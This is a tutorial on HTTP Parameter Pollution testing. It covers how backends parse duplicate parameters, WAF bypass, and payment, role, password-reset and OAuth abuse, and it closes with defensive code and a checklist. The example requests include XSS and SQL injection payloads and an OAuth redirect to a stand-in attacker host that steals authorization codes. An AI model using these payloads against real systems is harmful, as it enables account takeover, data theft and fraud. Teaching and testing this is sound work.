HTTP Parameter Pollution (HPP) Testing: Bypassing WAFs and Logic Flaws
HTTP Parameter Pollution happens when you send duplicate query string or body parameters in the same request — and the backend components disagree on which one to use. The WAF sees one value. The application sees another. That gap is where the attack lives.
HPP is not a single vulnerability class. It is an exploitation primitive: a way to desynchronize what security controls inspect from what application logic executes. When it works, you can bypass WAFs, override business logic, hijack OAuth flows, and inject payloads past filters that would otherwise block them.
Why Duplicate Parameters Create Security Issues
The HTTP specification does not define what should happen when the same parameter appears multiple times in a query string. RFC 3986 allows it. How to handle it is left entirely to the implementation. The result is that every language, framework, and server handles it differently — and when requests pass through multiple layers (load balancer, WAF, reverse proxy, application), each layer may parse parameters differently.
Consider a request like GET /search?q=hello&q=world. Depending on the stack, the application might see hello, world, hello,world, ["hello","world"], or throw an error. If a WAF inspects one value and the application uses a different one, any WAF rule keyed on that parameter is trivially bypassed.
The core exploit condition: WAF inspects parameter A (safe). Application receives parameter B (malicious). Both are the same key — the duplicate is what separates them.
How Different Backends Parse Duplicate Parameters
This is the table you need before testing any application. Send ?a=1&a=2 and map which value the server-side logic actually uses.
| Technology | Parsed result for ?a=1&a=2 |
Notes |
|---|---|---|
| PHP | Last value wins: a = "2" |
$_GET['a'] returns the last occurrence. Earlier values are silently discarded. |
| ASP.NET (Classic) | Concatenated: a = "1,2" |
Request.QueryString["a"] joins all values with a comma. Breaks numeric comparisons. |
| ASP.NET Core | Array or first, depending on binding | Model binding collects all values into an array; HttpContext.Request.Query["a"] returns StringValues. Scalar assignment picks first. |
| Java (Servlet API) | First value wins: a = "1" |
request.getParameter("a") returns first occurrence. getParameterValues("a") returns all. |
| Node.js / Express | Array: a = ["1", "2"] |
The qs library used by Express returns an array. Code doing req.query.a gets the array unless it type-coerces. |
| Python / Flask | First value wins: a = "1" |
request.args.get('a') returns first. request.args.getlist('a') returns all. |
| Python / Django | Last value wins: a = "2" |
request.GET['a'] returns last. request.GET.getlist('a') returns all. |
| Ruby on Rails | Last value wins: a = "2" |
params[:a] returns last occurrence. Rails merges duplicates with last-wins semantics. |
The practical implication: if a WAF is positioned in front of a PHP application and the WAF inspects the first occurrence of a parameter, sending a clean first value and a malicious second value will get the malicious value through to PHP while the WAF sees only the clean one.
Client-Side HPP vs Server-Side HPP
Server-Side HPP
Server-side HPP targets the inconsistency between security layers (WAF, reverse proxy) and the backend application. The attacker crafts a request with duplicate parameters, the WAF validates the safe copy, and the application processes the malicious copy. The attack surface is any parameter used in security-sensitive logic: authentication checks, authorization decisions, payment amounts, SQL queries.
Client-Side HPP
Client-side HPP attacks the browser's URL construction. If a web application builds links or form actions using unvalidated user input, and includes that input as a URL parameter, an attacker can inject additional parameters by URL-encoding an ampersand into the input value.
Example: an application builds a share URL as /share?url=USER_INPUT. If the user supplies https://example.com&admin=true, the constructed URL becomes /share?url=https://example.com&admin=true. The browser sends admin=true as a separate parameter. If the server-side handler reads admin, it finds true.
Client-side HPP often surfaces in: social sharing links, referral tracking URLs, OAuth redirect construction, and link generation that embeds user-controlled data.
WAF Bypass via HPP
This is the most direct use of HPP in penetration testing. Most WAF rules match on parameter values as strings. If a WAF sees id=1 before it sees id=<script>alert(1)</script>, and the backend uses the last value, the XSS payload is delivered.
# WAF inspects first 'id' value (1 — clean, no alert triggered)
# PHP backend $_GET['id'] receives last value (XSS payload)
GET /page?id=1&id=<script>alert(1)</script> HTTP/1.1
Host: target.example.com
# Against Java backend (first-wins) — reverse the order
GET /page?id=<script>alert(1)</script>&id=1 HTTP/1.1
Host: target.example.com
SQL injection via HPP follows the same pattern:
# Clean first param passes WAF SQL injection rules
# PHP sees: id = "1 UNION SELECT username,password FROM users--"
GET /items?id=1&id=1+UNION+SELECT+username,password+FROM+users-- HTTP/1.1
Host: target.example.com
HPP also bypasses WAFs that operate on the concatenated parameter value. ASP.NET Classic joins duplicates with a comma, turning ?id=1&id=UNION SELECT into id = "1,UNION SELECT". A WAF scanning for UNION SELECT as a contiguous string will miss it if it only checks the concatenated result, not the raw duplicate values. The backend SQL query may still interpret the comma-joined value in ways the developer did not intend.
Testing tip: Before probing for WAF bypass, determine which value the application actually uses. Send ?debug=CANARY_A&debug=CANARY_B and observe which canary appears in the response, error messages, or logs. This tells you whether the target is first-wins, last-wins, or array-based — and dictates where you put your payload.
Business Logic Bypass via HPP
WAF bypass is the visible use case. Business logic bypass is where the real damage happens.
Payment Amount Override
E-commerce applications that pass price or quantity as a parameter are prime targets. If a checkout flow accepts amount=99.99 and the backend uses last-wins semantics:
POST /checkout HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded
amount=99.99&item_id=42&amount=0.01
If the payment processor and the order recording service disagree on which amount to use, you get an order recorded at full price but charged at one cent — or vice versa. Test by polluting: price, quantity, discount code, coupon application flag, shipping cost, tax amount.
Role and Permission Override
Authorization parameters are another high-value target:
# Attempt to pollute role parameter
POST /api/user/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user_id=1337&role=user&role=admin
# Or in a query string promotion attempt
GET /admin/dashboard?user_id=1337&user_id=1&admin=false&admin=true HTTP/1.1
Applications that construct authorization checks by reading a parameter directly (rather than from a session-backed store) are vulnerable. Look for APIs that accept role, permissions, is_admin, account_type, or similar flags as request parameters.
Recipient Manipulation
Password reset and notification endpoints are another target. If a password reset flow passes the recipient email as a parameter:
POST /forgot-password HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email=victim@example.com&email=attacker@example.com
If the backend sends the reset link to the last value while logging the first, the attacker receives the reset token for the victim's account.
OAuth Parameter Pollution Attacks
OAuth 2.0 is particularly susceptible to HPP because the specification defines multiple parameters that must match exactly across requests, and the protocol flows pass parameters through multiple components.
redirect_uri Pollution
The redirect_uri parameter defines where the authorization server sends the authorization code. If the server accepts duplicate redirect_uri values and uses the last (or first) while the application validated a different one, an attacker can redirect the code to an attacker-controlled endpoint:
# Legitimate redirect_uri validated first
# Attacker-controlled URI used for actual redirect
GET /oauth/authorize?
response_type=code
&client_id=app123
&redirect_uri=https://legitimate.example.com/callback
&redirect_uri=https://attacker.example.com/steal
&scope=openid+profile
&state=abc123 HTTP/1.1
Host: auth.provider.com
Whether this succeeds depends entirely on the authorization server's parameter parsing. Some servers validate all redirect_uri values; others validate only the first or last. The Spring Authorization Server, for instance, has had historical issues with this pattern.
scope Pollution
Similarly, polluting the scope parameter may cause the authorization server to grant a broader scope than the user approved:
GET /oauth/authorize?
response_type=code
&client_id=app123
&redirect_uri=https://app.example.com/callback
&scope=read
&scope=read+write+admin HTTP/1.1
If the server grants the union of all requested scopes or uses the last value, the token returned has broader permissions than what the user authorized.
Testing Methodology
Manual Testing
Start by mapping every parameter the application accepts — query string, POST body, path segments, HTTP headers that get forwarded as parameters. For each parameter, send duplicate values with distinct canary strings and observe which one the application uses. Then test security-relevant parameters with the following pattern:
- Identify parameters involved in: authorization checks, payment processing, recipient selection, redirect targets, data filtering.
- Determine first/last/array behavior by injecting canary values.
- Place your payload in the position the application uses; place a clean value in the position the WAF inspects.
- Observe whether the payload executes and whether the WAF triggered.
Burp Suite Intruder
Burp Suite is the most practical tool for systematic HPP testing. Use the following approach:
# In Burp Proxy: capture any request with parameters
# Send to Repeater — manually add duplicate parameters to establish behavior
# In Intruder: use Cluster Bomb attack type
# Position 1: first value (clean payload to pass WAF)
# Position 2: duplicate parameter with attack payload
# Payload set 1: known-clean values
# Payload set 2: injection payloads (SQLi, XSS, SSRF, etc.)
# Grep — Extract: look for reflection, error differences,
# response size changes indicating different code paths
Use the Param Miner extension (available in BApp Store) to discover hidden parameters and to automate duplicate parameter injection. Param Miner's "Guess params" feature combined with HPP can uncover parameters the application reads that are not visible in normal requests.
Automated Tooling
For comprehensive coverage, combine tools:
- Arjun — parameter discovery tool. Use it first to enumerate all accepted parameters:
arjun -u https://target.example.com/api/endpoint - ParamSpider — crawls target to extract URLs with parameters from JavaScript files, wayback machine, and crawled pages.
- ffuf — for rapid parameter fuzzing with wordlists:
ffuf -u "https://target/page?FUZZ=test&FUZZ=payload" -w params.txt - Burp Scanner — active scan includes HPP checks as part of its parameter manipulation test suite.
- Nuclei — community templates include HPP-specific checks:
nuclei -t http/vulnerabilities/generic/hpp.yaml -target https://target.example.com
Testing Body Parameters, JSON, and Multipart
HPP is not limited to query strings. Test it wherever parameters appear.
POST Body (application/x-www-form-urlencoded)
POST /api/transfer HTTP/1.1
Content-Type: application/x-www-form-urlencoded
from_account=12345&to_account=99999&amount=1000&amount=0.01
Form body parsing follows the same first/last/array rules as query strings for most frameworks.
JSON Body
The JSON specification explicitly states that duplicate keys in an object result in undefined behavior. Most JSON parsers return the last occurrence, but this is not guaranteed:
POST /api/user/role HTTP/1.1
Content-Type: application/json
{"user_id": 1337, "role": "user", "role": "admin"}
Test this against JSON-consuming APIs. Some parsers (like Python's json module) silently take the last value. Others raise parse errors. The inconsistency between what the client sends and what different backend parsers receive creates the same attack surface as query string HPP.
Multipart Form Data
POST /api/profile HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="role"
user
------Boundary
Content-Disposition: form-data; name="role"
admin
------Boundary--
Multipart parsing is often implemented differently from query string parsing within the same framework. Test separately — a framework that uses last-wins for query strings may use first-wins for multipart fields, or vice versa.
HTTP Header Pollution
Some applications forward headers as parameters to backend services. Duplicate headers like X-Forwarded-For, X-User-ID, or custom authorization headers passed as request parameters are worth testing when the application passes them through to downstream microservices or legacy systems.
Defense: How to Fix HPP
Defense against HPP requires explicit decisions at every layer that parses parameters. "Implicit" behavior is the vulnerability.
Explicit Parameter Parsing
Code should explicitly decide what to do when a parameter appears multiple times — and enforce that decision. Do not rely on framework defaults.
# Python/Flask — explicit single-value enforcement
from flask import request, abort
def get_single_param(name):
values = request.args.getlist(name)
if len(values) > 1:
abort(400, f"Duplicate parameter: {name}")
return values[0] if values else None
# Node.js/Express — reject array values
app.use((req, res, next) => {
for (const [key, value] of Object.entries(req.query)) {
if (Array.isArray(value)) {
return res.status(400).json({
error: `Duplicate parameter not allowed: ${key}`
});
}
}
next();
});
WAF Configuration
Configure your WAF to inspect all occurrences of duplicate parameters, not just the first. ModSecurity with the MULTIPART_STRICT_ERROR rule and similar controls in AWS WAF, Cloudflare, and Akamai can be configured to reject or flag requests with duplicate parameters. Check your WAF documentation for parameter normalization settings — many WAFs have this as a non-default option.
Normalize Before Validating
If you cannot reject duplicates (some legitimate APIs accept arrays), normalize at the validation layer. Validate all values in the array, not just the first or last. Any value in the parameter set that fails validation should reject the entire request — not silently fall back to a different value.
Server-Side Authorization State
Authorization decisions should never be made based on request parameters. Role, permission level, and account type must come from server-side session state, validated tokens (JWT claims verified server-side), or database lookups keyed on authenticated session identity — not from role=admin in the query string.
HPP Testing Checklist
- Map all accepted parameters: query string, POST body, JSON body, multipart, headers forwarded as params
- Determine first/last/array behavior for each input layer by injecting distinct canary values
- Test all security-sensitive parameters with duplicates: role, permissions, amount, recipient, redirect_uri, scope
- Test WAF bypass by placing clean value in WAF-inspected position, payload in application-used position
- Test OAuth flows: pollute redirect_uri, scope, client_id, state, and grant_type parameters
- Test JSON body with duplicate keys using a Burp repeater or raw HTTP client (most HTTP libraries won't send duplicate JSON keys, so use raw requests)
- Test multipart forms separately from query strings — parsing behavior often differs
- Check client-side HPP: look for URL construction code that embeds user input as parameters; inject
%26key%3Dvalueto inject additional parameters - Test POST-to-GET parameter promotion: some frameworks merge GET and POST parameters; send conflicting values in each
- Verify fix: after duplicates are rejected or normalized, confirm WAF bypass attempts no longer work and authorization logic is not bypassable